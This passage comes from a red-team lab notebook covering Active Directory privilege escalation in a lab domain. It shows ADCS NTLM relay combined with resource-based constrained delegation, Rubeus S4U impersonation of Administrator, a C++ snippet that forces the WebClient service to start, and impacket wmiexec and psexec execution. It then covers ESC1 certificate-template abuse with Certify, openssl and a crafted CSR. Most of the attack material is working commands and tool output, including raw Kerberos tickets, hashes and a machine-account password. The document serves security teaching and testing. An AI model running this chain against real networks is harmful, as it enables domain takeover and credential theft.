      fbi4kw5xZ4uo4W5XwSDAcwvdRSE7Qat0Ey5ScazxuEVtkriDtMjQIiD3wNy/Df4cT2/PwwLj+A4O50oj
      5V+H+CJysgcD7XEeBZ3Dp4B9abzS5uYmO8x4a4fhoL4+rW5UBDAJSDuYPMl+W+CQfgo2HYKtS7HSSW54
      BPqreQykU0vJksgkSAdErfxvIDMrzKaDLa+ejkDNbX6gxx/TV/f7HuWiHV11ixcDQwJ53KAbwBUQLZOl
      Ujg/aYB3cjkQckRhxwEidoJL08z6vOwB3TJ1ecxi381KJ6zsWlKzs+V4HX1KHEkaS4O//zD2Tazb3nM1
      2hU2mx08FclzWs//3iZL3cBV+gn1RONVPVgUVCDObh6JaGhel4gBXjmVWPg7o6SaHSwe0c5jFBphkZvo
      dqY9pk0PA6/muzPfGHIXWlCbHg5lj6B1U3eynFmB4t1lkp4yNAS8Vtm4i4KwEmCNOWkkAFPeKMIzai7R
      rxEwqKF6+Ydq4q5ZIKN44OvnpaVidMAPC31fimin6D8uuEs3U4xOBDGZpgyk7iOTM7yIwpSthjqwbhue
      ErnnzHdewdruZBV+CJGLcUFoP0lv2ER9TdS6k3t5qd3TwTTEjZL4mMJhrneaPycDRR99dd/HXzbfooJn
      ntrpxUR8/NFKWZXew5ikspplUB94GsHlZt1NurkVOMVgdrTLEn7Vja19h53xS8ZRi+Vmw+1ODNwA2TSm
      VZ31yVNJ99v+1aOB7zCB7KADAgEAooHkBIHhfYHeMIHboIHYMIHVMIHSoBswGaADAgERoRIEEOaE0pD8
      WRKTyKQ8BHkC/O2hDxsNT0ZGRU5TRS5MT0NBTKIoMCagAwIBCqEfMB0bG2FkbWluaXN0cmF0b3JAb2Zm
      ZW5zZS5sb2NhbKMHAwUAQKEAAKURGA8yMDIxMDczMTIwMDcxOVqmERgPMjAyMTA4MDEwNjA3MTlapxEY
      DzIwMjEwODA3MjAwNzE5WqgPGw1PRkZFTlNFLkxPQ0FMqSUwI6ADAgECoRwwGhsEY2lmcxsSd3MwMS5v
      ZmZlbnNlLmxvY2Fs
[+] Ticket successfully imported!
```

![s4u successfully retrieves appropriate TGT and TGS](/files/-MfyAcLzct3pk9_-gT0n)

We can now try to access `WS01` `c$` share from `CA01` to confirm if we've gained administrative access over `WS01`:

```
ls \\ws01.offense.local\c$
```

![C$ share being listed on WS01 from CA01](/files/-MfyBk-spWghBFTiG2OC)

### WebClient Service

For the above attack to work, the target system `WS01` has to have the `WebClient` service running:

![WebClient service running on WS01](/files/-Mg1v9oA6zUG4HG7ab1r)

`WebClient` service is not running on computers by default and normally you'd need admin rights to start it, however it's possible to force the service to start using the below code:

{% code title="webclient.cpp" %}

```cpp
// Code from https://www.tiraniddo.dev/2015/03/starting-webclient-service.html
#include <Windows.h>
#include <evntprov.h>

int main()
{
    const GUID _MS_Windows_WebClntLookupServiceTrigger_Provider =
    { 0x22B6D684, 0xFA63, 0x4578,
    { 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7 } };

        REGHANDLE Handle;
    bool success = false;

    if (EventRegister(&_MS_Windows_WebClntLookupServiceTrigger_Provider,
        nullptr, nullptr, &Handle) == ERROR_SUCCESS)
    {
        EVENT_DESCRIPTOR desc;
        EventDescCreate(&desc, 1, 0, 0, 4, 0, 0, 0);
        success = EventWrite(Handle, &desc, 0, nullptr) == ERROR_SUCCESS;
        EventUnregister(Handle);
    }

    return success;
}
```

{% endcode %}

Below shows `WebClient` service is not running on `WS01` and we cannot start it, however, executing the above code (`webclient.cpp` compiled as `webclient.exe`) kicks off the `WebClient` service for us:

![Forcing the WebClient service to run](/files/-Mg1xL5aE3zCbt2L2i5u)

## RBCD: Local Computer TakeOver / Local Privilege Escalation

It's also possible to leverage the ADCS NTLM relay + Resource Based Constrained Delegation (RBCD) to escalate privileges on a local computer, if regular domain users can create new machine/computer accounts in AD, which they are by default, as specified in the domain root object's attribute `ms-DS-MachineAccountQuota: 10`, as seen below:

![Regular users can add up to 10 machine accounts in the domain by default](/files/-MgQp7-Z7o2IcvUdZu7D)

{% hint style="info" %}
Ability to create machine accounts applies when talking about remote computer takeover too.
{% endhint %}

### Lab Setup

This part of the lab is setup with the following computers and servers:

* 10.0.0.5 - Kali box with NTLM relay;
* 10.0.0.7 - Windows worksation `WS01`. This is the box we will coerce to authenticate our Kali box, which will relay the authentication to `DC01` and setup the computer `WS01` for [RBCD attack](/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution);
* 10.0.0.6 - Domain Controller `DC01`;

### Calculating Hash

Building on the previous successful NTLM relay, where we forced the `WS01$` to authenticate to our Kali box (where our NTLM relay was listening), we got a new machine account `QUAIIVVE$` created with a password ``K_-Jzsb&uK!`TIH``. Let's re-calculate the password's hash:

```
PS C:\Users\spotless\Desktop> .\Rubeus.exe hash /domain:offense.local /user:QUAIIVVE$ /password:"K_-Jzsb&uK!``TIH"

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.6.4


[*] Action: Calculate Password Hash(es)

[*] Input password             : K_-Jzsb&uK!`TIH
[*] Input username             : QUAIIVVE$
[*] Input domain               : offense.local
[*] Salt                       : OFFENSE.LOCALhostquaiivve.offense.local
[*]       rc4_hmac             : 3F55290748348504327CDA267FCCA190
[*]       aes128_cts_hmac_sha1 : C0CB489DC3C96151AC20AD6E2A2EC160
[*]       aes256_cts_hmac_sha1 : E73CA03A03704931A928806FDBA8993FDA47404A4EA1F66BA1A64EFD90AA5F69
[*]       des_cbc_md5          : A8B625105779671C
```

![Password hash calculations](/files/-MgNENELtz8kZORNKtvp)

### Impersonating Domain Admin on WS01

We can now perform the S4U against `WS01`, where we currently have low privileged access, but want to elevate to `administrator`:

```
PS C:\Users\spotless\Desktop> .\Rubeus.exe s4u /user:QUAIIVVE$ /aes256:E73CA03A03704931A928806FDBA8993FDA47404A4EA1F66BA1A64EFD90AA5F69 /impersonateuser:Administrator /msdsspn:host/ws01.offense.local /altservice:cifs /nowrap /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.6.4

[*] Action: S4U

[*] Using aes256_cts_hmac_sha1 hash: E73CA03A03704931A928806FDBA8993FDA47404A4EA1F66BA1A64EFD90AA5F69
[*] Building AS-REQ (w/ preauth) for: 'offense.local\QUAIIVVE$'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFIjCCBR6gAwIBBaEDAgEWooIEIzCCBB9hggQbMIIEF6ADAgEFoQ8bDU9GRkVOU0UuTE9DQUyiIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDW9mZmVuc2UubG9jYWyjggPZMIID1aADAgESoQMCAQKiggPHBIIDwwZceX7rzd6MgVy9Sp4ojTXQP5wVAuFouB0dIiYddAwR2292F6slGNoWvLGD50UnPxiNh3uTvYabPTdD4opUY498Sraj9ObM0/mL812DVYqO1bw7MdcWGKRl429SaW/Of8Prvn5DplNVV7Guv/3/HhIGpUNCdWs/CSm22EE8gHTNuy0Csbm/NhR5pvptMyxpFtUve52f4sxdQ2S9C2gY+Q5mKC6yW5dE3r5SHZd0J0rMp0p/wVIrtlTvZyDEfm9Vnk8EtqcS5JrtD92OZdhtfhMYtBdPOM8qrwKrz0/pHQv+VARUq2CuKr9bHaJ9perELUN8LUCQV4mRsMPB9BREXQEOk7BR9SN97g5r27jWT4xWKJFprXj+lUq2hPEyQLMG4ty4ACqv1pzmRT29VPJeA/SZXPraMkBtfcbaX3PX2XCuWP7FLxO9EcTIqNMrOM15woCLL5l18k2Z2laOMAPjsRThqRPDRHSHW01BffxiG8kAkvwW9MC/9nukUshpgNByVOgEpPFmkHAcPH9+P/QSikqsJk9mQ6ZUcvsX2nHnfFKUe+stpqilOPoxWN9yOgMuQoBddfuhQ97PStqNkRlIxffMSf61w1Yvwmh5zL8lzg+ylnqN3RfBZ8j6WJ29bZWSgjrullnowTAuU45jLIWjAGVm6JZU8XfVHMwclCI+mFZbrN6p4ms3u54o7ha28Wj5Z84pfkghl5kGE8blFzplvQ9SXbVKYxLDBSLx7AyweUdAf211gaq8UeuikWRj3IWOmqvUg3WHDNVjB5i3H1AU71OQcyKQrLB4ThLWw/Ik9VpgDjkeUpy04VRIFZhr4YccMM3flLkrw1yUtTce+AGQaZEiDMsbFb6e943DzWW3Dok90s60FCc54izuXikpqYImtZS6kFyTstYmwulj6sMl8wjSoS1fnLvJW3fJk1Z1Go+eDxzfpZu/C+vvGScyl94HkLE/qy3iTSj5UMtoDMiGImlFO0+4RJMZaoxDiQA/q/IhX5RzLSGSinl+MR7smqkJqQMrgtKTw4XWa0G6tcisKTXBIKF5qhLPhf0hPE8hell40cJFAU4pOr7EIVrLdZzj0ygCg+1yWHyoQ0QBywlPqcSdAJzT4EreLxSWq72qB373AiLDvtHR2duzqmrWQG7pL+SSc1ySN5PaQ88AsuT5z9YDEGDEjR+rqqi91B3kOgZKbPCZKABroljUnFyQ9Y5dbn+KUr8Zz+jxkHw5vEgQ4sxbJndVum4/uAObv/jnyv94PuU+d7VhRIUYvMhg1pilQPOeC6OB6jCB56ADAgEAooHfBIHcfYHZMIHWoIHTMIHQMIHNoCswKaADAgESoSIEIL6+8li8w8EpUu/s9n5HRvCeWxNCmjzJ0B3XDi7BldVooQ8bDU9GRkVOU0UuTE9DQUyiFjAUoAMCAQGhDTALGwlRVUFJSVZWRSSjBwMFAEDhAAClERgPMjAyMTA4MDUyMTM1MDZaphEYDzIwMjEwODA2MDczNTA2WqcRGA8yMDIxMDgxMjIxMzUwNlqoDxsNT0ZGRU5TRS5MT0NBTKkiMCCgAwIBAqEZMBcbBmtyYnRndBsNb2ZmZW5zZS5sb2NhbA==


[*] Action: S4U

[*] Using domain controller: dc01.offense.local (10.0.0.6)
[*] Building S4U2self request for: 'QUAIIVVE$@OFFENSE.LOCAL'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for 'Administrator' to 'QUAIIVVE$@OFFENSE.LOCAL'
[*] base64(ticket.kirbi):

      doIFVjCCBVKgAwIBBaEDAgEWooIEbzCCBGthggRnMIIEY6ADAgEFoQ8bDU9GRkVOU0UuTE9DQUyiFjAUoAMCAQGhDTALGwlRVUFJSVZWRSSjggQxMIIELaADAgEXoQMCAQGiggQfBIIEG7pIIqtIfCHKYJ41k2k+R5rEA9Xs+9hdpOyBseCmS6+7UKUAfDHoNuugUXdrP0sAczQS/dsImnKzE2rWwV0sutCPVBD0RtmZRTN3RqI5WSODF5yQH/WPO8YyCD1ZxLOdHrJctk/Kq8ElX6esRKqrsQDyJTxpJ4HCfIDEyT92Iyhg6Xr7qOrlqYZMEFOunRK/YrvF/EeFmfT7p80PTp5uy4qOsS1zZVB3QOFnV7ocVS2AUq/Ds/rEIRK896c6oAlokl60d/Gh5ori05srnzeqX0Ym1n5aDNKF4ImnD4ec6kYTjahds++6PjqQ2RdOyVTH7Gyq3Jsjlo0QVtxB1noqk4W1XbQ7dpyzjIXhSehiM5d6gES1u1iu+X0WWa+sYlSFgIV1U1Li+jk+1os2BX9OtpkZPdQF9oObZsUj0vwysyg21CoiM2tbZX5nvVca4XKfqF+EItG1PEImse3WDWT+xA3zTWiw+FZ2n0rzcY4hu67xvXW92ddjJAXPJqmOaUeDpbc2s1adFl8SKTgn5ec3pr4W4bRPTEgLHZRr+6fF7olvzNdY+V8RBZizfd3rIC7SBVBHuDl1IeUs+NVUz5293QxnCipntmhebEFjezLVvvHdbsyFXYf8y5WciN2+d95j5WCTX9bGhUKlGBbCJvamtlFZhrSvMZiIPLP6bGesI6mgXnK78X2gvlZcCCV+5a/rxCP/EaytNTGXbSo3aPHz6e7Czh8OuaKrmUPo7cLR2ZzurmUneVfyoVl0vQtL0ngwKC3ze2zhCX12u33JFY21VfnBHxQB79egNWe+IgKmqDk96/JBfAuJ7fYMob/ftchappSqMOerbkB0bZACSwbLkrngiZ8RhQ8iB07r/zd/ou+bStFa1QayJovGiC3s1tdhJcqQ5S0WadDdIELrJClYpSP30brFaIbxweiQl6H/WzPySiCd/hzUvXuvhDSwXV5960mllFSMxBkIhf81yCE67/ivUkZbSEOFunP8FbvCjHz23o10K4nEs6WqGavWBbUznX1KyvFPDem0+ELMxIrO2dqgjsBs+CVzm4dRi0WQr/VBbxArL6nxBxTey9HFZf1HZX3+XesrXUZBVfVyIwB1d0a2MmId00sOKhiZtnLwdb9OHBS4RU5HV70hlEZFOH4WSY6Pbv4e5ExxJOSeOGq8Ysh7Ex9WyEVcbVHXtmNalJGfxnvtjp4uF35Uvkg1zzFxCYG5XE+9tCn/QCl94xsiDGyYWwTqstXiGBoIZtDCs89RfWWo9NWqG1isKdPy9NQSq3htM1YjS9gv7G9b7YJaRNwgeb5s1Y1YqDDdaYGC3yfRnqrHStokGo8OSLwKD+F2ZQuQgODQiY7PfhBq5jCKpvAiTomwL43OxKswMBB4r+0XWrL0sZin8d7SUr6jgdIwgc+gAwIBAKKBxwSBxH2BwTCBvqCBuzCBuDCBtaAbMBmgAwIBF6ESBBD1cF+spxbTXDsrdF5xIsmdoQ8bDU9GRkVOU0UuTE9DQUyiGjAYoAMCAQqhETAPGw1BZG1pbmlzdHJhdG9yowcDBQAAoQAApREYDzIwMjEwODA1MjEzNTA2WqYRGA8yMDIxMDgwNjA3MzUwNlqnERgPMjAyMTA4MTIyMTM1MDZaqA8bDU9GRkVOU0UuTE9DQUypFjAUoAMCAQGhDTALGwlRVUFJSVZWRSQ=

[*] Impersonating user 'Administrator' to target SPN 'host/ws01.offense.local'
[*]   Final ticket will be for the alternate service 'cifs'
[*] Using domain controller: dc01.offense.local (10.0.0.6)
[*] Building S4U2proxy request for service: 'host/ws01.offense.local'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi) for SPN 'cifs/ws01.offense.local':

      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
[+] Ticket successfully imported!
```

Above and below shows how a TGS for `administrator@offense.local` is granted access to `cifs/ws01.offense.local`:

![TGS for administrator@offense.local issued to access cifs/ws01.offense.local](/files/-MgNEgCQBzQp-PDxSnkW)

### Decoding TGS to .kirbi

On a Kali box, let's base64 decode the TGS we got for `administrator@offense.local` to `cifs/ws01.offense.local` and save it as `admin.kirbi`:

```
echo "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" | base64 -d > admin.kirbi
```

![TGS base64 decoded and saved to a kirbi file](/files/-MgNFx5ibx4YZz6p11F5)

### Converting .kirbi Ticket to .ccache

Use impacket's tool `ticketConverter` to convert the `.kirbi` file to `.ccache` file like so:

```
examples/ticketConverter.py ../admin.kirbi admin.ccache
```

![Converting .kirbi to .ccache](/files/-MgNFOSgDdcDAsNEbCrd)

### Exporting KRB5CCNAME

Now we need to export the `KRB5CCNAME` variable and point it to our `admin.ccache` file:

```
export KRB5CCNAME=admin.ccache
```

![KRB5CCNAME variable exported](/files/-MgNFW8I4dhT6Ypewy6z)

### Executing Code as Domain Admin on WS01

We can now use impacket's `wmiexec` to execute commands on `WS01` as `administrator`:

```
examples/wmiexec.py -k -no-pass offense.local/administrator@ws01.offense.local
```

![Code execution on WS01 as offense\administrator](/files/-MgNGYw6cjzwzBVJnOik)

Privileged code execution on `WS01` can also be achieved using impacket's psexec:

![psexec executes code on ws01 from 10.0.0.5 with SYSTEM privileges](/files/-MgNGr_HiCrOxvoifq9o)

{% hint style="info" %}
**Note**

RBCD for local privilege escalation could also be performe&#x64;**:**

* by leveraging a compromised user with SPN set, assuming you have `WRITE` privilege over the computer's you want to compromise, AD object as described [here](https://orangecyberdefense.com/global/blog/sensepost/chaining-multiple-techniques-and-tools-for-domain-takeover-using-rbcd/).&#x20;
* via socks proxy and remote port forwarding as described [here](https://www.praetorian.com/blog/red-team-privilege-escalation-rbcd-based-privilege-escalation-part-2/), which reduces the need to have a Linux box inside the compromised network with an NTLM relay listener set up.
  {% endhint %}

Note to self: what a beautiful attack vector this is.

## PetitPotam blocked?

You can now also use:

{% embed url="<https://github.com/Wh04m1001/DFSCoerce>" %}

## References

{% embed url="<https://posts.specterops.io/certified-pre-owned-d95910965cd2>" %}

{% embed url="<https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429>" %}

{% embed url="<https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/>" %}

{% embed url="<https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/>" %}

{% embed url="<https://www.praetorian.com/blog/red-team-privilege-escalation-rbcd-based-privilege-escalation-part-2/>" %}

{% embed url="<https://orangecyberdefense.com/global/blog/sensepost/chaining-multiple-techniques-and-tools-for-domain-takeover-using-rbcd/>" %}


# From Misconfigured Certificate Template to Domain Admin

This is a quick lab to familiarize with ECS1 privilege escalation technique, that illustrates how it's possible to elevate from a regular user to domain administrator in a Windows Domain by abusing over-permissioned Active Directory Certificate Services (ADCS) certificate templates.

This lab is based on [Certified Pre-Owned: Abusing Active Directory Certificate Services](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) whitepaper by [Will Schroeder](https://twitter.com/harmj0y) and [Lee Christensen](https://twitter.com/tifkin_) from [SpecterOps](https://specterops.io/).

## Finding Vulnerable Certificate Templates

Once in an AD environment, we can find vulnerable certificate templates by using `Certify`, a tool released by SpecterOps as part of their research mentioned above:

{% code title="attacker\@target" %}

```
certify.exe find /vulnerable
```

{% endcode %}

Below shows a snippet of the redacted output from `Certify`, that provides information about a vulnerable certificate:

![Vulnerable certificate template identified by Certify](/files/RguM0rFCE1nFkZjG89Dj)

In the above screenshot, note the following 3 key pieces of information, that tell us that the certificate template is vulnerable and can be abused for privilege escalation from regular user to domain administrator:

* `msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT` field field, which indicates that the user, who is requesting a new certificate based on this certificate template, can request the certificate for another user, meaning any user, including domain administrator user.\
  \
  Below shows the same certificate template setting via GUI when inspecting certificate templates via `certsrv.msc`:\ <img src="/files/1cK0GXOM3IsOJDWHqyYU" alt="" data-size="original"><br>
* `PkiExtendedKeyUsage: Client Authentication`, which indicates that the certificate that will be generated based on this certificate template can be used to authenticate to computers in Active Directory.\
  \
  Below shows the same setting via GUI when inspecting certificate templates via `certsrv.msc`:

  <img src="/files/RDuLpagmYiktqzD6Pa84" alt="" data-size="original"><br>
* `Enrollment Rights: NT Authority\Authenticated Users`, which indicates that any authenticated user in the Active Directory is **allowed to request** new certificates to be generated based on this certificate template.\
  \
  Below shows the same setting via GUI when inspecting certificate templates via `certsrv.msc`:\
  ![](/files/XkYduE3PEMUWcc4ZfQ11)

## Requesting Certificate with Certify

Once the vulnerable certificate template has been identified, we can request a new certificate on behalf of a domain administator using `Certify` by specifying the following parameters:

* `/ca` - speciffies the Certificate Authority server we're sending the request to;
* `/template` - specifies the certificate template that should be used for generating the new certificate;
* `/altname` - specifies the AD user for which the new certificate should be generated.

{% code title="attacker\@target" %}

```
certify.exe request /ca:<$certificateAuthorityHost> /template:<$vulnerableCertificateTemplateName> /altname:<$adUserToImpersonate>
```

{% endcode %}

Below shows that the certificate in `PEM` format has been issued successfully:

![New certificate was issued off of the vulnerable certificate template](/files/YPYs8IRaVCSsF4cH9eTL)

## Converting PEM to PFX

As mentioned above, the certificate we just retrieved is in a `PEM` format.&#x20;

To use it with a tool like `Rubeus` to request a Kerberos Ticket Granting Ticket (TGT) for the user for which we minted the certificate, we need to convert the certificate to `PFX` format.

To do this, copy the certificate content printed out by `Rubeus` and paste it to a file called `cert.pem`.&#x20;

Then, convert it to `cert.pfx` with Open SSL (in Linux) like so:

{% code title="attacker\@target" %}

```
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```

{% endcode %}

## Requesting TGT with Certificate

Once we have the certificate in `cert.pfx`, we can request a Kerberos TGT for the user for which we minted the new certificate:

{% code title="attacker\@target" %}

```
Rubeus.exe asktgt /user:<$adUserToImpersonate> /certificate:cert.pfx /ptt
```

{% endcode %}

Below shows that a new TGT for the target user (Domain Admin in our case) using [Rubeus](https://github.com/GhostPack/Rubeus) was requested and injected in to the current logon session (because of the `/ptt`):

![Using rubeus to request a TGT for a user for which we minted the certificate](/files/vhuChxEGEJcw3SrbgkXA)

At this point, we can test if we elevated our privileges to domain administrator by listing the administrative `c$` share on a server that we don't normally have local administrator privileges on:

![Listing a C$ share to confirm administrator access on a server](/files/9H2YJuFWxa3M4UIxbUpZ)

## Bonus: Requesting Certificate Manually

This is a bonus section that shows how we can request a new certificate for a targeted user without Rubeus, but with a Certificate Signing Request (CSR) file crafted manually and later submitted to Active Directory Certificate Services self-service web portal.

### Crafting Certificate Signing Request File

Create a new file `cert.cnf` with the following contents (modify fields as deemed appropriate):

{% code title="cert.cnf" %}

```
[ req ]
default_bits       = 2048
distinguished_name = req_distinguished_name
req_extensions     = req_ext
[ req_distinguished_name ]
countryName                 = GB
stateOrProvinceName         = State or Province Name (full name)
localityName               = Locality Name (eg, city)
organizationName           = Organization Name (eg, company)
commonName                 = Common Name (e.g. server FQDN or YOUR name)
[ req_ext ]
subjectAltName = otherName:1.3.6.1.4.1.311.20.2.3;UTF8:$adUserToImpersonate
```

{% endcode %}

The most important is line 12, which defines the `subjectAltName` field, which is a `samaccountname` of the user in Active Directory, which we want to ultimately impersonate (i.e. domain administrator) for which we will be requesting the certificate. \
\
